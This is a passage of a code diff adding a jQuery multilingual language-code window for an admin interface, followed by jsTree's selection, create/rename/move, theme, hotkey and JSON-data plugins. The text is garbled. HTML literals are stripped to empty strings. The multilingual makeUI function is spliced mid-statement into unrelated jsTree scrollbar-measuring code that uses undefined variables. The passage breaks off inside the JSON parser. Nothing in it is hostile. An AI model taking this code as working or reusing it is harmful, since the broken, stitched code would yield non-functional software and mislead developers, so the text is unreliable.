if(options.create_type == 'save_and_use'){ + g11n_use_lang_code(data.name, current_lang_value); + }else{ + alert(data.message); + g11n_reset_default(); + } + } + + return false; + }); + + $g11n_get.find('[href="#lang_search"]').click(function(e, just_tab){ + if(typeof(just_tab) == 'undefined'){ + g11n_get_list(); + } + }); + + // default + $g11n_get.bind('reset.g11n', function(){ + g11n_reset_default(); + }); + + // before open + $g11n_get.bind('before-open.g11n', function(e, code){ + g11n_before_open(code); + }); + + // before close + $g11n_get.bind('before-close.g11n', function(){ + return g11n_before_close(); + }); + + return this; + }; +}); + +// Load Multilingual Window Markup +var is_loaded_multilingual_window_html = false; +jQuery(function($){ + $.fn.xeLoadMultilingualWindowHtml = function(){ + function on_complete(data){ + // append html + var $content = $('#content'); + $(data.html).appendTo($content).xeMultilingualWindow(); + $('.lang_code').trigger('loaded-multilingualWindow'); + } + $.exec_json('module.getModuleAdminMultilingualHtml', { + 'mid': current_url.getQuery('mid') + }, on_complete); + + return this; + } +}); + +// Apply Multilingual UI +var multilingual_id_count = 0; +jQuery(function($){ + $.fn.xeApplyMultilingualUI = function(){ + $(this).each(function(){ + // load multilingual window html + if(!is_loaded_multilingual_window_html){ + $().xeLoadMultilingualWindowHtml(); + is_loaded_multilingual_window_html = true; + } + + // make UI + var $this = $(this); + var t = this; + + if($this.parent().hasClass('g11n')){ + $this.siblings().remove(); + }else{ + $this.wrap(''); + } + + var id = $this.attr('id'); + if(!id){ + id = '__lang_code_' + multilingual_id_count; + multilingual_id_count++; + $this.attr('id', id); + } + + function makeUI(){ + var $multilingualWindow = $('#g11n'); + var width = $this.width(); + + if(t.tagName == 'TEXTAREA' || $this.data('type') == 'textarea'){ + var $displayInput = $('').css({ position: 'absolute', top: -1000, left: 0 }).appendTo('body'); + e2 = $('').css({ position: 'absolute', top: -1000, left: 0 }).appendTo('body'); + scrollbar_width = e1.width() - e2.width(); + e1.add(e2).remove(); + } + else { + e1 = $('
                    ').css({ width: 100, height: 100, overflow: 'auto', position: 'absolute', top: -1000, left: 0 }) + .prependTo('body').append('
                    ').find('div').css({ width: '100%', height: 200 }); + scrollbar_width = 100 - e1.width(); + e1.parent().remove(); + } + }); + $.jstree.plugin("ui", { + __init : function () { + this.data.ui.selected = $(); + this.data.ui.last_selected = false; + this.data.ui.hovered = null; + this.data.ui.to_select = this.get_settings().ui.initially_select; + + this.get_container() + .delegate("a", "click.jstree", $.proxy(function (event) { + event.preventDefault(); + event.currentTarget.blur(); + if(!$(event.currentTarget).hasClass("jstree-loading")) { + this.select_node(event.currentTarget, true, event); + } + }, this)) + .delegate("a", "mouseenter.jstree", $.proxy(function (event) { + if(!$(event.currentTarget).hasClass("jstree-loading")) { + this.hover_node(event.target); + } + }, this)) + .delegate("a", "mouseleave.jstree", $.proxy(function (event) { + if(!$(event.currentTarget).hasClass("jstree-loading")) { + this.dehover_node(event.target); + } + }, this)) + .bind("reopen.jstree", $.proxy(function () { + this.reselect(); + }, this)) + .bind("get_rollback.jstree", $.proxy(function () { + this.dehover_node(); + this.save_selected(); + }, this)) + .bind("set_rollback.jstree", $.proxy(function () { + this.reselect(); + }, this)) + .bind("close_node.jstree", $.proxy(function (event, data) { + var s = this._get_settings().ui, + obj = this._get_node(data.rslt.obj), + clk = (obj && obj.length) ? obj.children("ul").find("a.jstree-clicked") : $(), + _this = this; + if(s.selected_parent_close === false || !clk.length) { return; } + clk.each(function () { + _this.deselect_node(this); + if(s.selected_parent_close === "select_parent") { _this.select_node(obj); } + }); + }, this)) + .bind("delete_node.jstree", $.proxy(function (event, data) { + var s = this._get_settings().ui.select_prev_on_delete, + obj = this._get_node(data.rslt.obj), + clk = (obj && obj.length) ? obj.find("a.jstree-clicked") : [], + _this = this; + clk.each(function () { _this.deselect_node(this); }); + if(s && clk.length) { + data.rslt.prev.each(function () { + if(this.parentNode) { _this.select_node(this); return false; /* if return false is removed all prev nodes will be selected */} + }); + } + }, this)) + .bind("move_node.jstree", $.proxy(function (event, data) { + if(data.rslt.cy) { + data.rslt.oc.find("a.jstree-clicked").removeClass("jstree-clicked"); + } + }, this)); + }, + defaults : { + select_limit : -1, // 0, 1, 2 ... or -1 for unlimited + select_multiple_modifier : "ctrl", // on, or ctrl, shift, alt + select_range_modifier : "shift", + selected_parent_close : "select_parent", // false, "deselect", "select_parent" + selected_parent_open : true, + select_prev_on_delete : true, + disable_selecting_children : false, + initially_select : [] + }, + _fn : { + _get_node : function (obj, allow_multiple) { + if(typeof obj === "undefined" || obj === null) { return allow_multiple ? this.data.ui.selected : this.data.ui.last_selected; } + var $obj = $(obj, this.get_container()); + if($obj.is(".jstree") || obj == -1) { return -1; } + $obj = $obj.closest("li", this.get_container()); + return $obj.length ? $obj : false; + }, + _ui_notify : function (n, data) { + if(data.selected) { + this.select_node(n, false); + } + }, + save_selected : function () { + var _this = this; + this.data.ui.to_select = []; + this.data.ui.selected.each(function () { if(this.id) { _this.data.ui.to_select.push("#" + this.id.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:")); } }); + this.__callback(this.data.ui.to_select); + }, + reselect : function () { + var _this = this, + s = this.data.ui.to_select; + s = $.map($.makeArray(s), function (n) { return "#" + n.toString().replace(/^#/,"").replace(/\\\//g,"/").replace(/\//g,"\\\/").replace(/\\\./g,".").replace(/\./g,"\\.").replace(/\:/g,"\\:"); }); + // this.deselect_all(); WHY deselect, breaks plugin state notifier? + $.each(s, function (i, val) { if(val && val !== "#") { _this.select_node(val); } }); + this.data.ui.selected = this.data.ui.selected.filter(function () { return this.parentNode; }); + this.__callback(); + }, + refresh : function (obj) { + this.save_selected(); + return this.__call_old(); + }, + hover_node : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + //if(this.data.ui.hovered && obj.get(0) === this.data.ui.hovered.get(0)) { return; } + if(!obj.hasClass("jstree-hovered")) { this.dehover_node(); } + this.data.ui.hovered = obj.children("a").addClass("jstree-hovered").parent(); + this._fix_scroll(obj); + this.__callback({ "obj" : obj }); + }, + dehover_node : function () { + var obj = this.data.ui.hovered, p; + if(!obj || !obj.length) { return false; } + p = obj.children("a").removeClass("jstree-hovered").parent(); + if(this.data.ui.hovered[0] === p[0]) { this.data.ui.hovered = null; } + this.__callback({ "obj" : obj }); + }, + select_node : function (obj, check, e) { + obj = this._get_node(obj); + if(obj == -1 || !obj || !obj.length) { return false; } + var s = this._get_settings().ui, + is_multiple = (s.select_multiple_modifier == "on" || (s.select_multiple_modifier !== false && e && e[s.select_multiple_modifier + "Key"])), + is_range = (s.select_range_modifier !== false && e && e[s.select_range_modifier + "Key"] && this.data.ui.last_selected && this.data.ui.last_selected[0] !== obj[0] && this.data.ui.last_selected.parent()[0] === obj.parent()[0]), + is_selected = this.is_selected(obj), + proceed = true, + t = this; + if(check) { + if(s.disable_selecting_children && is_multiple && + ( + (obj.parentsUntil(".jstree","li").children("a.jstree-clicked").length) || + (obj.children("ul").find("a.jstree-clicked:eq(0)").length) + ) + ) { + return false; + } + proceed = false; + switch(!0) { + case (is_range): + this.data.ui.last_selected.addClass("jstree-last-selected"); + obj = obj[ obj.index() < this.data.ui.last_selected.index() ? "nextUntil" : "prevUntil" ](".jstree-last-selected").andSelf(); + if(s.select_limit == -1 || obj.length < s.select_limit) { + this.data.ui.last_selected.removeClass("jstree-last-selected"); + this.data.ui.selected.each(function () { + if(this !== t.data.ui.last_selected[0]) { t.deselect_node(this); } + }); + is_selected = false; + proceed = true; + } + else { + proceed = false; + } + break; + case (is_selected && !is_multiple): + this.deselect_all(); + is_selected = false; + proceed = true; + break; + case (!is_selected && !is_multiple): + if(s.select_limit == -1 || s.select_limit > 0) { + this.deselect_all(); + proceed = true; + } + break; + case (is_selected && is_multiple): + this.deselect_node(obj); + break; + case (!is_selected && is_multiple): + if(s.select_limit == -1 || this.data.ui.selected.length + 1 <= s.select_limit) { + proceed = true; + } + break; + } + } + if(proceed && !is_selected) { + if(!is_range) { this.data.ui.last_selected = obj; } + obj.children("a").addClass("jstree-clicked"); + if(s.selected_parent_open) { + obj.parents(".jstree-closed").each(function () { t.open_node(this, false, true); }); + } + this.data.ui.selected = this.data.ui.selected.add(obj); + this._fix_scroll(obj.eq(0)); + this.__callback({ "obj" : obj, "e" : e }); + } + }, + _fix_scroll : function (obj) { + var c = this.get_container()[0], t; + if(c.scrollHeight > c.offsetHeight) { + obj = this._get_node(obj); + if(!obj || obj === -1 || !obj.length || !obj.is(":visible")) { return; } + t = obj.offset().top - this.get_container().offset().top; + if(t < 0) { + c.scrollTop = c.scrollTop + t - 1; + } + if(t + this.data.core.li_height + (c.scrollWidth > c.offsetWidth ? scrollbar_width : 0) > c.offsetHeight) { + c.scrollTop = c.scrollTop + (t - c.offsetHeight + this.data.core.li_height + 1 + (c.scrollWidth > c.offsetWidth ? scrollbar_width : 0)); + } + } + }, + deselect_node : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + if(this.is_selected(obj)) { + obj.children("a").removeClass("jstree-clicked"); + this.data.ui.selected = this.data.ui.selected.not(obj); + if(this.data.ui.last_selected.get(0) === obj.get(0)) { this.data.ui.last_selected = this.data.ui.selected.eq(0); } + this.__callback({ "obj" : obj }); + } + }, + toggle_select : function (obj) { + obj = this._get_node(obj); + if(!obj.length) { return false; } + if(this.is_selected(obj)) { this.deselect_node(obj); } + else { this.select_node(obj); } + }, + is_selected : function (obj) { return this.data.ui.selected.index(this._get_node(obj)) >= 0; }, + get_selected : function (context) { + return context ? $(context).find("a.jstree-clicked").parent() : this.data.ui.selected; + }, + deselect_all : function (context) { + var ret = context ? $(context).find("a.jstree-clicked").parent() : this.get_container().find("a.jstree-clicked").parent(); + ret.children("a.jstree-clicked").removeClass("jstree-clicked"); + this.data.ui.selected = $([]); + this.data.ui.last_selected = false; + this.__callback({ "obj" : ret }); + } + } + }); + // include the selection plugin by default + $.jstree.defaults.plugins.push("ui"); +})(jQuery); +//*/ + +/* + * jsTree CRRM plugin + * Handles creating/renaming/removing/moving nodes by user interaction. + */ +(function ($) { + $.jstree.plugin("crrm", { + __init : function () { + this.get_container() + .bind("move_node.jstree", $.proxy(function (e, data) { + if(this._get_settings().crrm.move.open_onmove) { + var t = this; + data.rslt.np.parentsUntil(".jstree").andSelf().filter(".jstree-closed").each(function () { + t.open_node(this, false, true); + }); + } + }, this)); + }, + defaults : { + input_width_limit : 200, + move : { + always_copy : false, // false, true or "multitree" + open_onmove : true, + default_position : "last", + check_move : function (m) { return true; } + } + }, + _fn : { + _show_input : function (obj, callback) { + obj = this._get_node(obj); + var rtl = this._get_settings().core.rtl, + w = this._get_settings().crrm.input_width_limit, + w1 = obj.children("ins").width(), + w2 = obj.find("> a:visible > ins").width() * obj.find("> a:visible > ins").length, + t = this.get_text(obj), + h1 = $("
                    ", { css : { "position" : "absolute", "top" : "-200px", "left" : (rtl ? "0px" : "-1000px"), "visibility" : "hidden" } }).appendTo("body"), + h2 = obj.css("position","relative").append( + $("", { + "value" : t, + "class" : "jstree-rename-input", + // "size" : t.length, + "css" : { + "padding" : "0 4px", + "border" : "1px solid silver", + "borderRadius" : "3px", + "position" : "absolute", + "left" : (rtl ? "auto" : (w1 + w2) + "px"), + "right" : (rtl ? (w1 + w2 + 4) + "px" : "auto"), + "top" : "0", + "height" : (this.data.core.li_height - 2) + "px", + "lineHeight" : (this.data.core.li_height - 2) + "px", + "width" : "200px" // will be set a bit further down + }, + "blur" : $.proxy(function () { + var i = obj.children(".jstree-rename-input"), + v = i.val(); + if(v === "") { v = t; } + h1.remove(); + i.remove(); // rollback purposes + this.set_text(obj,t); // rollback purposes + this.rename_node(obj, v); + callback.call(this, obj, v, t); + obj.css("position",""); + }, this), + "keyup" : function (event) { + var key = event.keyCode || event.which; + if(key == 27) { this.value = t; this.blur(); return; } + else if(key == 13) { this.blur(); return; } + else { + h2.width(Math.min(h1.text("pW" + this.value).width(),w)); + } + }, + "keypress" : function(event) { + var key = event.keyCode || event.which; + if(key == 13) { return false; } + } + }) + ).children(".jstree-rename-input"); + this.set_text(obj, ""); + h1.css({ + fontFamily : h2.css('fontFamily') || '', + fontSize : h2.css('fontSize') || '', + fontWeight : h2.css('fontWeight') || '', + fontStyle : h2.css('fontStyle') || '', + fontStretch : h2.css('fontStretch') || '', + fontVariant : h2.css('fontVariant') || '', + letterSpacing : h2.css('letterSpacing') || '', + wordSpacing : h2.css('wordSpacing') || '' + }); + h2.width(Math.min(h1.text("pW" + h2[0].value).width(),w))[0].select(); + }, + rename : function (obj) { + obj = this._get_node(obj); + this.__rollback(); + var f = this.__callback; + this._show_input(obj, function (obj, new_name, old_name) { + f.call(this, { "obj" : obj, "new_name" : new_name, "old_name" : old_name }); + }); + }, + create : function (obj, position, js, callback, skip_rename) { + var t, _this = this; + obj = this._get_node(obj); + if(!obj) { obj = -1; } + this.__rollback(); + t = this.create_node(obj, position, js, function (t) { + var p = this._get_parent(t), + pos = $(t).index(); + if(callback) { callback.call(this, t); } + if(p.length && p.hasClass("jstree-closed")) { this.open_node(p, false, true); } + if(!skip_rename) { + this._show_input(t, function (obj, new_name, old_name) { + _this.__callback({ "obj" : obj, "name" : new_name, "parent" : p, "position" : pos }); + }); + } + else { _this.__callback({ "obj" : t, "name" : this.get_text(t), "parent" : p, "position" : pos }); } + }); + return t; + }, + remove : function (obj) { + obj = this._get_node(obj, true); + var p = this._get_parent(obj), prev = this._get_prev(obj); + this.__rollback(); + obj = this.delete_node(obj); + if(obj !== false) { this.__callback({ "obj" : obj, "prev" : prev, "parent" : p }); } + }, + check_move : function () { + if(!this.__call_old()) { return false; } + var s = this._get_settings().crrm.move; + if(!s.check_move.call(this, this._get_move())) { return false; } + return true; + }, + move_node : function (obj, ref, position, is_copy, is_prepared, skip_check) { + var s = this._get_settings().crrm.move; + if(!is_prepared) { + if(typeof position === "undefined") { position = s.default_position; } + if(position === "inside" && !s.default_position.match(/^(before|after)$/)) { position = s.default_position; } + return this.__call_old(true, obj, ref, position, is_copy, false, skip_check); + } + // if the move is already prepared + if(s.always_copy === true || (s.always_copy === "multitree" && obj.rt.get_index() !== obj.ot.get_index() )) { + is_copy = true; + } + this.__call_old(true, obj, ref, position, is_copy, true, skip_check); + }, + + cut : function (obj) { + obj = this._get_node(obj, true); + if(!obj || !obj.length) { return false; } + this.data.crrm.cp_nodes = false; + this.data.crrm.ct_nodes = obj; + this.__callback({ "obj" : obj }); + }, + copy : function (obj) { + obj = this._get_node(obj, true); + if(!obj || !obj.length) { return false; } + this.data.crrm.ct_nodes = false; + this.data.crrm.cp_nodes = obj; + this.__callback({ "obj" : obj }); + }, + paste : function (obj) { + obj = this._get_node(obj); + if(!obj || !obj.length) { return false; } + var nodes = this.data.crrm.ct_nodes ? this.data.crrm.ct_nodes : this.data.crrm.cp_nodes; + if(!this.data.crrm.ct_nodes && !this.data.crrm.cp_nodes) { return false; } + if(this.data.crrm.ct_nodes) { this.move_node(this.data.crrm.ct_nodes, obj); this.data.crrm.ct_nodes = false; } + if(this.data.crrm.cp_nodes) { this.move_node(this.data.crrm.cp_nodes, obj, false, true); } + this.__callback({ "obj" : obj, "nodes" : nodes }); + } + } + }); + // include the crr plugin by default + // $.jstree.defaults.plugins.push("crrm"); +})(jQuery); +//*/ + +/* + * jsTree themes plugin + * Handles loading and setting themes, as well as detecting path to themes, etc. + */ +(function ($) { + var themes_loaded = []; + // this variable stores the path to the themes folder - if left as false - it will be autodetected + $.jstree._themes = false; + $.jstree.plugin("themes", { + __init : function () { + this.get_container() + .bind("init.jstree", $.proxy(function () { + var s = this._get_settings().themes; + this.data.themes.dots = s.dots; + this.data.themes.icons = s.icons; + this.set_theme(s.theme, s.url); + }, this)) + .bind("loaded.jstree", $.proxy(function () { + // bound here too, as simple HTML tree's won't honor dots & icons otherwise + if(!this.data.themes.dots) { this.hide_dots(); } + else { this.show_dots(); } + if(!this.data.themes.icons) { this.hide_icons(); } + else { this.show_icons(); } + }, this)); + }, + defaults : { + theme : "default", + url : false, + dots : true, + icons : true + }, + _fn : { + set_theme : function (theme_name, theme_url) { + if(!theme_name) { return false; } + if(!theme_url) { theme_url = $.jstree._themes + theme_name + '/style.css'; } + if($.inArray(theme_url, themes_loaded) == -1) { + $.vakata.css.add_sheet({ "url" : theme_url }); + themes_loaded.push(theme_url); + } + if(this.data.themes.theme != theme_name) { + this.get_container().removeClass('jstree-' + this.data.themes.theme); + this.data.themes.theme = theme_name; + } + this.get_container().addClass('jstree-' + theme_name); + if(!this.data.themes.dots) { this.hide_dots(); } + else { this.show_dots(); } + if(!this.data.themes.icons) { this.hide_icons(); } + else { this.show_icons(); } + this.__callback(); + }, + get_theme : function () { return this.data.themes.theme; }, + + show_dots : function () { this.data.themes.dots = true; this.get_container().children("ul").removeClass("jstree-no-dots"); }, + hide_dots : function () { this.data.themes.dots = false; this.get_container().children("ul").addClass("jstree-no-dots"); }, + toggle_dots : function () { if(this.data.themes.dots) { this.hide_dots(); } else { this.show_dots(); } }, + + show_icons : function () { this.data.themes.icons = true; this.get_container().children("ul").removeClass("jstree-no-icons"); }, + hide_icons : function () { this.data.themes.icons = false; this.get_container().children("ul").addClass("jstree-no-icons"); }, + toggle_icons: function () { if(this.data.themes.icons) { this.hide_icons(); } else { this.show_icons(); } } + } + }); + // autodetect themes path + $(function () { + if($.jstree._themes === false) { + $("script").each(function () { + if(this.src.toString().match(/jquery\.jstree[^\/]*?\.js(\?.*)?$/)) { + $.jstree._themes = this.src.toString().replace(/jquery\.jstree[^\/]*?\.js(\?.*)?$/, "") + 'themes/'; + return false; + } + }); + } + if($.jstree._themes === false) { $.jstree._themes = "themes/"; } + }); + // include the themes plugin by default + $.jstree.defaults.plugins.push("themes"); +})(jQuery); +//*/ + +/* + * jsTree hotkeys plugin + * Enables keyboard navigation for all tree instances + * Depends on the jstree ui & jquery hotkeys plugins + */ +(function ($) { + var bound = []; + function exec(i, event) { + var f = $.jstree._focused(), tmp; + if(f && f.data && f.data.hotkeys && f.data.hotkeys.enabled) { + tmp = f._get_settings().hotkeys[i]; + if(tmp) { return tmp.call(f, event); } + } + } + $.jstree.plugin("hotkeys", { + __init : function () { + if(typeof $.hotkeys === "undefined") { throw "jsTree hotkeys: jQuery hotkeys plugin not included."; } + if(!this.data.ui) { throw "jsTree hotkeys: jsTree UI plugin not included."; } + $.each(this._get_settings().hotkeys, function (i, v) { + if(v !== false && $.inArray(i, bound) == -1) { + $(document).bind("keydown", i, function (event) { return exec(i, event); }); + bound.push(i); + } + }); + this.get_container() + .bind("lock.jstree", $.proxy(function () { + if(this.data.hotkeys.enabled) { this.data.hotkeys.enabled = false; this.data.hotkeys.revert = true; } + }, this)) + .bind("unlock.jstree", $.proxy(function () { + if(this.data.hotkeys.revert) { this.data.hotkeys.enabled = true; } + }, this)); + this.enable_hotkeys(); + }, + defaults : { + "up" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_prev(o)); + return false; + }, + "ctrl+up" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_prev(o)); + return false; + }, + "shift+up" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_prev(o)); + return false; + }, + "down" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_next(o)); + return false; + }, + "ctrl+down" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_next(o)); + return false; + }, + "shift+down" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected || -1; + this.hover_node(this._get_next(o)); + return false; + }, + "left" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o) { + if(o.hasClass("jstree-open")) { this.close_node(o); } + else { this.hover_node(this._get_prev(o)); } + } + return false; + }, + "ctrl+left" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o) { + if(o.hasClass("jstree-open")) { this.close_node(o); } + else { this.hover_node(this._get_prev(o)); } + } + return false; + }, + "shift+left" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o) { + if(o.hasClass("jstree-open")) { this.close_node(o); } + else { this.hover_node(this._get_prev(o)); } + } + return false; + }, + "right" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o && o.length) { + if(o.hasClass("jstree-closed")) { this.open_node(o); } + else { this.hover_node(this._get_next(o)); } + } + return false; + }, + "ctrl+right" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o && o.length) { + if(o.hasClass("jstree-closed")) { this.open_node(o); } + else { this.hover_node(this._get_next(o)); } + } + return false; + }, + "shift+right" : function () { + var o = this.data.ui.hovered || this.data.ui.last_selected; + if(o && o.length) { + if(o.hasClass("jstree-closed")) { this.open_node(o); } + else { this.hover_node(this._get_next(o)); } + } + return false; + }, + "space" : function () { + if(this.data.ui.hovered) { this.data.ui.hovered.children("a:eq(0)").click(); } + return false; + }, + "ctrl+space" : function (event) { + event.type = "click"; + if(this.data.ui.hovered) { this.data.ui.hovered.children("a:eq(0)").trigger(event); } + return false; + }, + "shift+space" : function (event) { + event.type = "click"; + if(this.data.ui.hovered) { this.data.ui.hovered.children("a:eq(0)").trigger(event); } + return false; + }, + "f2" : function () { this.rename(this.data.ui.hovered || this.data.ui.last_selected); }, + "del" : function () { this.remove(this.data.ui.hovered || this._get_node(null)); } + }, + _fn : { + enable_hotkeys : function () { + this.data.hotkeys.enabled = true; + }, + disable_hotkeys : function () { + this.data.hotkeys.enabled = false; + } + } + }); +})(jQuery); +//*/ + +/* + * jsTree JSON plugin + * The JSON data store. Datastores are build by overriding the `load_node` and `_is_loaded` functions. + */ +(function ($) { + $.jstree.plugin("json_data", { + __init : function() { + var s = this._get_settings().json_data; + if(s.progressive_unload) { + this.get_container().bind("after_close.jstree", function (e, data) { + data.rslt.obj.children("ul").remove(); + }); + } + }, + defaults : { + // `data` can be a function: + // * accepts two arguments - node being loaded and a callback to pass the result to + // * will be executed in the current tree's scope & ajax won't be supported + data : false, + ajax : false, + correct_state : true, + progressive_render : false, + progressive_unload : false + }, + _fn : { + load_node : function (obj, s_call, e_call) { var _this = this; this.load_node_json(obj, function () { _this.__callback({ "obj" : _this._get_node(obj) }); s_call.call(this); }, e_call); }, + _is_loaded : function (obj) { + var s = this._get_settings().json_data; + obj = this._get_node(obj); + return obj == -1 || !obj || (!s.ajax && !s.progressive_render && !$.isFunction(s.data)) || obj.is(".jstree-open, .jstree-leaf") || obj.children("ul").children("li").length > 0; + }, + refresh : function (obj) { + obj = this._get_node(obj); + var s = this._get_settings().json_data; + if(obj && obj !== -1 && s.progressive_unload && ($.isFunction(s.data) || !!s.ajax)) { + obj.removeData("jstree-children"); + } + return this.__call_old(); + }, + load_node_json : function (obj, s_call, e_call) { + var s = this.get_settings().json_data, d, + error_func = function () {}, + success_func = function () {}; + obj = this._get_node(obj); + + if(obj && obj !== -1 && (s.progressive_render || s.progressive_unload) && !obj.is(".jstree-open, .jstree-leaf") && obj.children("ul").children("li").length === 0 && obj.data("jstree-children")) { + d = this._parse_json(obj.data("jstree-children"), obj); + if(d) { + obj.append(d); + if(!s.progressive_unload) { obj.removeData("jstree-children"); } + } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + return; + } + + if(obj && obj !== -1) { + if(obj.data("jstree-is-loading")) { return; } + else { obj.data("jstree-is-loading",true); } + } + switch(!0) { + case (!s.data && !s.ajax): throw "Neither data nor ajax settings supplied."; + // function option added here for easier model integration (also supporting async - see callback) + case ($.isFunction(s.data)): + s.data.call(this, obj, $.proxy(function (d) { + d = this._parse_json(d, obj); + if(!d) { + if(obj === -1 || !obj) { + if(s.correct_state) { this.get_container().children("ul").empty(); } + } + else { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { this.correct_state(obj); } + } + if(e_call) { e_call.call(this); } + } + else { + if(obj === -1 || !obj) { this.get_container().children("ul").empty().append(d.children()); } + else { obj.append(d).children("a.jstree-loading").removeClass("jstree-loading"); obj.removeData("jstree-is-loading"); } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + } + }, this)); + break; + case (!!s.data && !s.ajax) || (!!s.data && !!s.ajax && (!obj || obj === -1)): + if(!obj || obj == -1) { + d = this._parse_json(s.data, obj); + if(d) { + this.get_container().children("ul").empty().append(d.children()); + this.clean_node(); + } + else { + if(s.correct_state) { this.get_container().children("ul").empty(); } + } + } + if(s_call) { s_call.call(this); } + break; + case (!s.data && !!s.ajax) || (!!s.data && !!s.ajax && obj && obj !== -1): + error_func = function (x, t, e) { + var ef = this.get_settings().json_data.ajax.error; + if(ef) { ef.call(this, x, t, e); } + if(obj != -1 && obj.length) { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(t === "success" && s.correct_state) { this.correct_state(obj); } + } + else { + if(t === "success" && s.correct_state) { this.get_container().children("ul").empty(); } + } + if(e_call) { e_call.call(this); } + }; + success_func = function (d, t, x) { + var sf = this.get_settings().json_data.ajax.success; + if(sf) { d = sf.call(this,d,t,x) || d; } + if(d === "" || (d && d.toString && d.toString().replace(/^[\s\n]+$/,"") === "") || (!$.isArray(d) && !$.isPlainObject(d))) { + return error_func.call(this, x, t, ""); + } + d = this._parse_json(d, obj); + if(d) { + if(obj === -1 || !obj) { this.get_container().children("ul").empty().append(d.children()); } + else { obj.append(d).children("a.jstree-loading").removeClass("jstree-loading"); obj.removeData("jstree-is-loading"); } + this.clean_node(obj); + if(s_call) { s_call.call(this); } + } + else { + if(obj === -1 || !obj) { + if(s.correct_state) { + this.get_container().children("ul").empty(); + if(s_call) { s_call.call(this); } + } + } + else { + obj.children("a.jstree-loading").removeClass("jstree-loading"); + obj.removeData("jstree-is-loading"); + if(s.correct_state) { + this.correct_state(obj); + if(s_call) { s_call.call(this); } + } + } + } + }; + s.ajax.context = this; + s.ajax.error = error_func; + s.ajax.success = success_func; + if(!s.ajax.dataType) { s.ajax.dataType = "json"; } + if($.isFunction(s.ajax.url)) { s.ajax.url = s.ajax.url.call(this, obj); } + if($.isFunction(s.ajax.data)) { s.ajax.data = s.ajax.data.call(this, obj); } + $.ajax(s.ajax); + break; + } + }, + _parse_json : function (js, obj, is_callback) { + var d = false, + p = this._get_settings(), + s = p.json_data, + t = p.core.html_titles, + tmp, i, j, ul1, ul2; + + if(!js) { return d; } + if(s.progressive_unload && obj && obj !== -1) { + obj.data("jstree-children", d); + } + if($.isArray(js)) { + d = $(); + if(!js.length) { return false; } + for(i = 0, j = js.length; i < j; i++) { + tmp = this._parse_json(js[i], obj, true); + if(tmp.length) { d = d.add(tmp); } + } + } + else { + if(typeof js == "string") { js = { data : js }; } + if(!js.data && js.data !== "") { return d; } + d = $("
                  3. "); + if(js.attr) { d.attr(js.attr); } + if(js.metadata) { d.data(js.metadata); } + if(js.state) { d.addClass("jstree-" + js.state); } + if(!$.isArray(js.data)) { tmp = js.data; js.data = []; js.data.push(tmp); } + $.each(js.data, function (i, m) { + tmp = $(""); + if($.isFunction(m)) { m = m.call(this, js); } + if(typeof m == "string") { tmp.attr('href','#')[ t ? "html" : "text" ](m); } + else { + if(!m.attr) { m.attr = {}; } + if(!m.attr.href) { m.attr.href = '#'; } + tmp.attr(m.attr)[ t ? "html" : "text" ](m.title); + if(m.language) { tmp.addClass(m.language); } + } + tmp.prepend(" "); + if(!m.icon && js.icon) { m.icon = js.icon; } + if(m.icon) { + if(m.icon.indexOf("/") === -1) { tmp.children("ins").addClass(m.icon); } + else { tmp.children("ins").css("background","url('" + m.icon + "') center center no-repeat"); } + } + d.append(tmp); + }); + d.prepend(" "); + if(js.children) { + if(s.progressive_render && js.state !== "open") { + d.addClass("jstree-closed").data("jstree-children", js.children); + } + else { + if(s.progressive_unload) { d.data("jstree-children", js.children); } + if($.isArray(js.children) && js.children.length) { + tmp = this._parse_json(js.children, obj, true); + if(tmp.length) { + ul2 = $("